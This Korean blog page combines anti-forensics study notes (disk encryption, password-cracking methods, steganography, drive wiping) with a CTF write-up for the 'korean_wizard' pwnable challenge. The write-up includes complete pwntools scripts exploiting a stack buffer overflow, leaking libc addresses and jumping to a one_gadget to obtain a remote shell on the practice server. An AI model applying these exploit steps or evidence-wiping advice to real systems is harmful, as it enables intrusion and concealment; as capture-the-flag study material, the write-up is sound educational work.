전체 디스크 암호화는 스웝 공간에 파일의 일부가 남는 등의 데이터가 누출되는 것을 방지합니다.

하지만, 데이터를 암호화하고 다시 복호화해야 하기 때문에 성능을 저하시킨다는 단점이 있습니다.

 

암호화 파일 시스템(Encrypting File System, EFS): 

파일과 폴더를 암호화하는 데 사용되며, 사용하기 매우 쉽습니다.

 

비트락커: 

전체 하드 드라이브를 암호화하는 데 사용할 수 있으며, 비트락커 투 고(BitLocker To Go)의 경우에는 USB 드라이브 같은 이동식 매체를 암호화하는 데 사용할 수 있습니다.

 

비트락커는 독립적으로 작동하지 않고, TPM(Trusted Platform Module, 신뢰 플랫폼 모듈)이라는 노트북이나 PC의 마더보드에 있는 마이크로 칩과 함께 작동합니다. (TPM은 암호화 기능을 제공합니다.)

 

비트락커의 암호화는 매우 견고해서 키 없이는 복호화가 거의 불가능합니다.

 

비트락커가 설치되어 있지만, 컴퓨터가 실행 중이라면 비트락커를 공격하지 않고도 데이터를 복원할 수 있습니다.

 

애플 파일바울트: 

애플 운영체제에 설치되어 있습니다.

파일바울트 2는 128 비트 AES 암호화 알고리즘을 사용하며, 드라이브 전체를 암호화할 수 있습니다.

 

애플 자사에 고객이 복원 키를 저장할 수 있게 하며, 애플에 저장되어 있는 키는 합법적인 검색 기관이 적법한 절차를 거쳐 압수할 수 있습니다.

 

트루크립트: 

트루크립트(TrueCrypt)는 무료 오픈소스 소프트웨어로 실시간 암호화 기능을 제공하며, 전체 디스크 암호화 기능도 있습니다.

(윈도우, 맥, 리눅스에서 사용이 가능함.)

 

실시간 암호화에서는 데이터가 열리면 자동으로 복호화되고 데이터가 저장되면 자동으로 암호화됩니다.

 

전체 디스크 암호화를 하면 모든 파일의 내용을 암호화할 수 있으며, 시스템이 자체적으로 생성하는 민감한 데이터를 저장하고 있는 파일( 로그 파일, 스웝 파일, 레지스트리 항목 등)도 암호화할 수 있습니다.

 

AES, Serpent, Twofish 등의 다양한 종류의 암호화 알고리즘을 사용할 수 있습니다.

(키 공안은 256 비트입니다.)

 

 

비밀번호 크랙

비밀번호 크랙 방법에는 무차별 대입 공격, 딕셔너리 공격, 비밀번호 재설정 등이 있습니다.

 

일반적으로 사람들은 단순한 비밀번호를 사용하는데, 생일, 애완동물 이름, 좋아하는 팀 등이 비밀번호로 활용됩니다.

 

복잡하고, 강력한 비밀번호를 사용한다고 해도, 길고 아무런 의미도 없는 비밀번호를 외우기 어려워하기 때문에 어느 곳에 메모를 해두는 경우가 많습니다.

(강력한 비밀번호란 문자, 숫자, 특수문자 등의 조합을 14개 이상 사용한 것을 의미합니다.)

 

더불어, 사람은 습관의 동물이라서 비밀번호의 일부 또는 전부를 재사용합니다.

 

이러한 점들을 활용해서 비밀번호 하나만 획득하면 다른 모든 비밀번호도 획득할 수 있는 경우가 많습니다.

 

운이 좋은 경우, 하드 드라이브의 스웝 공간에서 비밀번호를 찾을 수도 있으며 실행 중인 컴퓨터에서 RAM을 캡쳐하는 것도 비밀번호를 크랙하는 데 도움이 됩니다.

 

 

2. 크랙 방법

크랙 방법에 여러 가지가 존재합니다.

(항상 도움이 되는 것은 사람 자체에 있는 취약점입니다.

매우 길고 어려운 비밀번호보다는 실제 단어, 특정 패턴 등을 혼합하여 사용하기 때문입니다.)

 

무차별 대입 공격: 

무차별 대입 공격은 말 그대로, 최대한 많은 컴퓨터 파워를 사용하여 정확한 비밀번호를 추측하는 것입니다.  맞는 비밀번호를 찾을 때까지 무차별로 비밀번호를 대입하는 공격입니다.

 

비밀번호 재설정: 

비밀번호 자체를 공격하기 보다는 소프트웨어 자체를 공격하여 비밀번호를 재설정하는 공격입니다.

 

보편적으로 적용할 수 있는 것이 아니며, 비밀번호를 재설정할 수 있게 해주는 취약점이 있는 일부 프로그램에서만 가능합니다.

 

딕셔너리 공격: 

딕셔너리 공격은 여러 출처에서 수집할 수 있는 단어를 사용하여 좀 더 정확하게 공격을 실행합니다.

예를 들어, 하드 드라이브에서 발견된 모든 단어를 인덱스로 생성하여 공격할 수 있습니다.

 

3. 스테가노그래피

스테가노그래피(steganography)는 데이터를 은폐하는 효과적인 또 다른 방법입니다.

stegos: 고대 그리스 언어에서 감추다, graphie: 글   ====> "감춰진 글"

 

즉, 스테가노그래피는

"일반 메시지에 비밀 메시지를 숨기고 최종 목적지에서 비밀 메시지를 볼 수 있는 것"이라고 정의합니다.

 

완성된 스테가노그래피 파일은 호스트 파일과 페이로드로 두 파일로 구성되어 있습니다.

 

- 호스트 파일: 비밀 메시지를 저장하고 있는(=담고 있는)파일 

(사진, 동영상, 오디오, 문서 파일 등이 호스트 파일이 될 수 있습니다.)

 

- 페이로드: 호스트 파일 안에 숨겨진 비밀 문서

 

 

사진, 동영상, 오디오와 같은 파일에는 상당한 양의 불필요한 데이터가 존재하는데, 이를 "노이즈(noise)"라고 부릅니다.

 

즉, 호스트 파일에서 불필요한 부분(노이즈)을 은폐된 메시지 데이터로 교체하여 페이로드를 숨기는 겁니다.

 

 

스테가노그래피를 사용하고 있는지 판별하기가 어려우며, 생성할 때 사용했던 프로그램과 비밀번호를 알지 않는 이상 페이로드를 축출하기 매우 어렵거나 불가능합니다.

 

4. 데이터 파괴

데이터를 은폐하는 것만으로 충분하지 않아서 데이터 자체를 파괴하는 경우가 있습니다.

 

데이터를 파괴하는 것은 다소 복잡합니다. 단순히 삭제 키를 누른다고 해서 데이터가 완전히 사라지지 않기 때문입니다. (삭제된 데이터는 저장 매체에 계속 남아있고 복원하기 쉽다.)

 

그래서, 완전히 흔적을 지우기 위해서 드라이브 와이핑(wiping) 툴과 같은 도구를 사용합니다.

다만, 이러한 프로그램을 사용하면 사용한 흔적이 남아서 원본 데이터가 없어도 흔적 자체가 증거 자료가 될 수 있습니다.

 

드라이브 와이핑

드라이브 와이핑 프로그램은 하드 드라이브에 있는 데이터가 복원될 수 없도록 데이터를 덮어쓰는 데 사용됩니다.

 

이러한 툴은 드라이브에 있는 모든 데이터를 삭제하는 것이 아니라 지정한 파일만 완전 삭제하고 나머지 파일들을 그대로 놔둘 수 있습니다.

 

와이핑 프로그램은 사용된 흔적을 남길 수 있는데, 비트 수준에서 살펴보았을 때 특이하고 반복적인 데이터 패턴을 통해서 판별할 수 있습니다.

 

 

 

728x90
728x90

GgangCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

http://123.143.18.212:4000/입니다.

저희 학교 과(동아리)에서 운영중인 사이트이므로 많은 분들이 방문해서 문제 풀어보시길 바랍니다~!!

정말 재밌는 문제들 많습니다 :)

 

오늘 풀어볼 문제는 Ggang CTF에 있는 포너블 분야의 문제로

korean_wizard 문제입니다.

 

문제 풀이 전 필요한 개념

이번 문제 풀이에서는

gadget 한 개로 쉘을 딸 수 있는 magic gadget을 사용해야 합니다.

One gadget 혹은 magic gadget이라고 불리는 것 같습니다.

gadget 하나 만을 사용하면 바로 쉘을 딸 수 있는 마법의 도구라는 의미에서 붙은 이름 같습니다.

 

One Gadget은 라이브러리 파일 내에서 "/bin/sh"를 실행하는 Gadget으로,

간편하게 한 번에 쉘을 딸 수 있다는 점이 장점인 것 같습니다.

 

One Gadget을 사용하기 위해서는 일부 조건이 만족해야 합니다.

 

우선, 로컬과 xinetd로 돌아가는 서비스에서만 사용이 가능하며,

 

조건에 따라 특정 레지스터 값이 NULL이어야 합니다.

이유는 인자 한 개만 넘기고, 두 번째부터 인자가 널이어야

execve 함수가 제대로 실행됩니다.

 

One gadget을 찾아주는 도구로 One_gadget이 있습니다.

해당 스크립트를 다운 받아서 사용하시면 좋을 것 같습니다.

$ gem install one_gadget

 

더 자세한 내용이 궁금하시면 다음 사이트를 참고하시길 바랍니다.

https://www.lazenca.net/pages/viewpage.action?pageId=16810292

 

10.One-gadgets(feat. PLT/GOT overwrite) - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List One-gadget(feat. PLT/GOT overwrite) One Gadget이란 해당 Gadget 하나만을 이용하여 Shell을 획들 할 수 있는 Gadget입니다.One Gadget은 라이브러리 파일 내에서 "/bin/sh"

www.lazenca.net


자, 그럼 문제 풀이를 시작하겠습니다.

 

문제

제가 마법을 써보겠습니다, 호잇! 이라고 적혀있으며, 실행 파일을 제공합니다.

음.. 처음에 마법이라고 하길래 무슨 말인가 싶었는데,

알고보니 마법 가젯 즉, magic gadget = One gadget을 사용하라는 힌트였습니다.

 

우선은 실행 파일을 다운받고, 보안 기법부터 확인해봅시다.

보안 기법 체크

NX-bit만 걸려있습니다.

 

코드 분석

이어서, IDA Pro로 해당 파일을 열어봅시다.

main 코드

정말 간단하게, 안녕하세요 마법을 써보겠습니다. 호잇을 출력하고

read 함수로 0x49 만큼 입력받습니다.

여기서 buf는 0x20 사이즈인데 최대 0x49를 받으므로 BOF 발생 가능합니다.

 

고민

처음에는 ASLR도 걸려있는 것 같고, ROP 기법으로 풀어야겠다고 생각을 했는데,

적당한 pop pop pop ret gadget이 없었습니다.

 

그래서, RTC인가 싶었는데 read 함수에서 0x49 즉, 73바이트만 입력받아서

RTC로 페이로드를 작성하기에는 너무 짧습니다.

 

방법을 찾아보다가 magic gadget 즉, One-gadget에 대해서 알게 되었습니다.

 

따라서 magic gadget을 활용해 문제를 풀어봅시다.

 

풀이 방법 구상

ROP, RTC, magic gadet 세가지 방법 다 동일하게 libc_base를 알아야 활용할 수 있습니다.

 

즉, 어떤 라이브러리 파일을 사용하는지 알아야 하고,

실제 함수 주소 leak을 통해서 libc_base를 알아내서

offset을 계산해주어 원하는 함수나 gadget을 사용해야 합니다.

 

1.

일단, 어떤 라이브러리 파일을 사용하는지 알기 위해서

read 함수와 puts 함수의 실제 주소를 leak하고

변하지 않는 하위 3비트 값으로 라이브러리 종류를 알아냅니다.

 

2.

알아낸 라이브러리 파일에서 사용할 수 있는 magic gadet을 찾습니다.

 

3.

magic gadet을 ret에 넣어주는 페이로드를 작성하고,

실행하여 권한을 획득합니다.

 

이 단계에 따라서 문제를 풀어봅시다.

 

 

1단계: 라이브러리 파일 종류 알아내기

puts 사용할 Gadget 찾기

우선, puts 함수를 사용해서 read함수와 puts 함수의 실제 주소를 leak합니다.

따라서 puts 함수를 사용하기 위해서 필요한 gadget을 찾아줍니다.

pop rdi ret gadget: 0x40121b

 

실제 주소를 알아내는 페이로드는 다음과 같습니다.

from pwn import*
context.log_level = "debug"
e = ELF("./wizard")
p = remote("123.143.18.212", 50003)

puts_plt = e.plt['puts']
puts_got = e.got['puts']

read_plt = e.plt['read']
read_got = e.got['read']

p1ret = 0x40121b

payload1 = "a"*32 + "b"*8
payload1 += p64(p1ret) + p64(read_got) + p64(puts_plt)
p.recvline()

p.sendline(payload1)

read_address = u64(p.recv(6) + "\x00"*2)
log.info('read_address: 0x%x' %read_address)


p.interactive()

read 함수 실제 주소

실행 결과 read 함수 실제 수조는 0x7f60be29c310 이었습니다.

위의 코드에서 read_got를 puts_got로 바꿔서 puts 함수 실제 주소를 얻을 수 있습니다.

 

그래서 결국 read 함수와 puts 함수의 실제 주소에서 바뀌지 않는 하위 1.5바이트는 다음과 같습니다.

read 함수: 310

puts 함수: 6a0

 

다른 글에서는 libc-database를 통해서 알았지만,

다음 사이트(libc-database)에서도 라이브러리 버전을 쉽게 알 수 있습니다.

(https://libc.blukat.me/?q=puts%3A6a0%2Cread%3A310)

 

libc database search

 

libc.blukat.me

 알아낸 결과는 다음과 같습니다.

libc 버전 알아내기

즉, libc6_2.23-Oubuntu11.2_amd64 버전입니다.

해당 버전을 참고하면 함수들의 offset과 magic gadget의 offset을 알 수 있습니다.

 

2단계: one_gadget 혹은 magic gadget offset 구하기

One_gadget 스크립트를 사용한 결과 다음과 같은 magic gadget의 offset을 얻을 수 있었습니다.

libc6_2.23-Oubuntu11.2_amd64에서 magic gadget offset 

libc6_2.23-Oubuntu11.2_amd64를 간단하게 libc.so.6이라고 제 편의상 이름지었습니다.

(어 파일 이름이 다른데? 라고 생각하실까봐...)

 

저는 one_gadget offset으로 0xf1207을 사용하겠습니다.

 

3단계: 페이로드 작성하기 (찐 페이로드)

자, 이제 필요한 준비과정이 끝났으니 플래그를 얻기 위한 진짜 페이로드를 작성해봅시다.

페이로드는 다음과 같습니다.

from pwn import*
#context.log_level = "debug"
e = ELF("./wizard")
p = remote("123.143.18.212", 50003)

puts_plt = e.plt['puts']
puts_got = e.got['puts']

read_plt = e.plt['read']
read_got = e.got['read']

p1ret = 0x40121b

# offset은 라이브러리 파일 종류를 알아냈으니 쉽게 알 수 있습니다. 
read_offset = 0xf7310   
puts_offset = 0x6f6a0
system_offset = 0x453a0

one_gadget_offset = [0xf1207, 0xf0364, 0x4527a, 0x45226]

main = 0x401142           # main 함수 주소

payload1 = "a"*32 + "b"*8
payload1 += p64(p1ret) + p64(read_got) + p64(puts_plt)

#여기까지가 libc_base를 알기 위해서 read 함수 실제 주소 leak 하는 코드

payload1 += p64(main)   #여기는 main 함수로 다시 돌아가 입력을 받게 하여, ret에 one gadget 넣기 위함
p.recvline()

p.sendline(payload1)

read_address = u64(p.recv(6) + "\x00"*2)
log.info('read_address: 0x%x' %read_address)

libc_base = read_address - read_offset
magic = libc_base + one_gadget_offset[0]
log.info('magic: 0x%x' %magic)

payload2 = "a"*32 + "b"*8
payload2 += p64(magic)     # ret에 magic_gadget 주소 넣기

p.sendline(payload2)

p.interactive()

페이로드 해설

우선, read 함수가 한 번 실행되기 때문에

magic gadget의 주소를 알아낼 수는 있지만, ret에 넣어줄 수가 없습니다.

그래서 강제로 main 함수 주소로 다시 돌아가게 해서 read 함수가 한 번 더 실행되게 합니다.

(이 부분을 생각못해서 정말 고민을 많이 했는데, main으로 돌아가는 스킬 정말 좋은 것 같아요...)

 

 

 

magic gadget의 주소는 libc_base + magic gadget offset 이므로 libc_base를 알아야 합니다.

 

그런데,

항상 libc_base가 변하므로 libc_base를 알기 위해서 read 함수 주소를 알아내고

read 함수 주소 - read offset으로 libc_base를 알아내고

magic gadget offset을 더해서 magic gadget 주소를 알아냅니다.

 

그리고 main으로 다시 돌아가서 read 함수를 한 번 더 실행시켜주어서

sfp까지 더미로 덮고 magic gadget 주소를 ret에 넣어 권한을 획득하도록 합니다.

 

 

해당 페이로드를 실행시키면, 다음과 같이 플래그를 얻을 수 있습니다.

플래그 획득

이렇게 플래그를 얻을 수 있습니다.

 

 


본질적으로 ROP 문제이나, main 함수로 돌아가게끔 하는 스킬을 새롭게 배울 수 있었던 것 같다.

더불어, one_gadget 이라는 마법의 도구를 새롭게 사용해보는 경험을 할 수 있는 문제였다.

728x90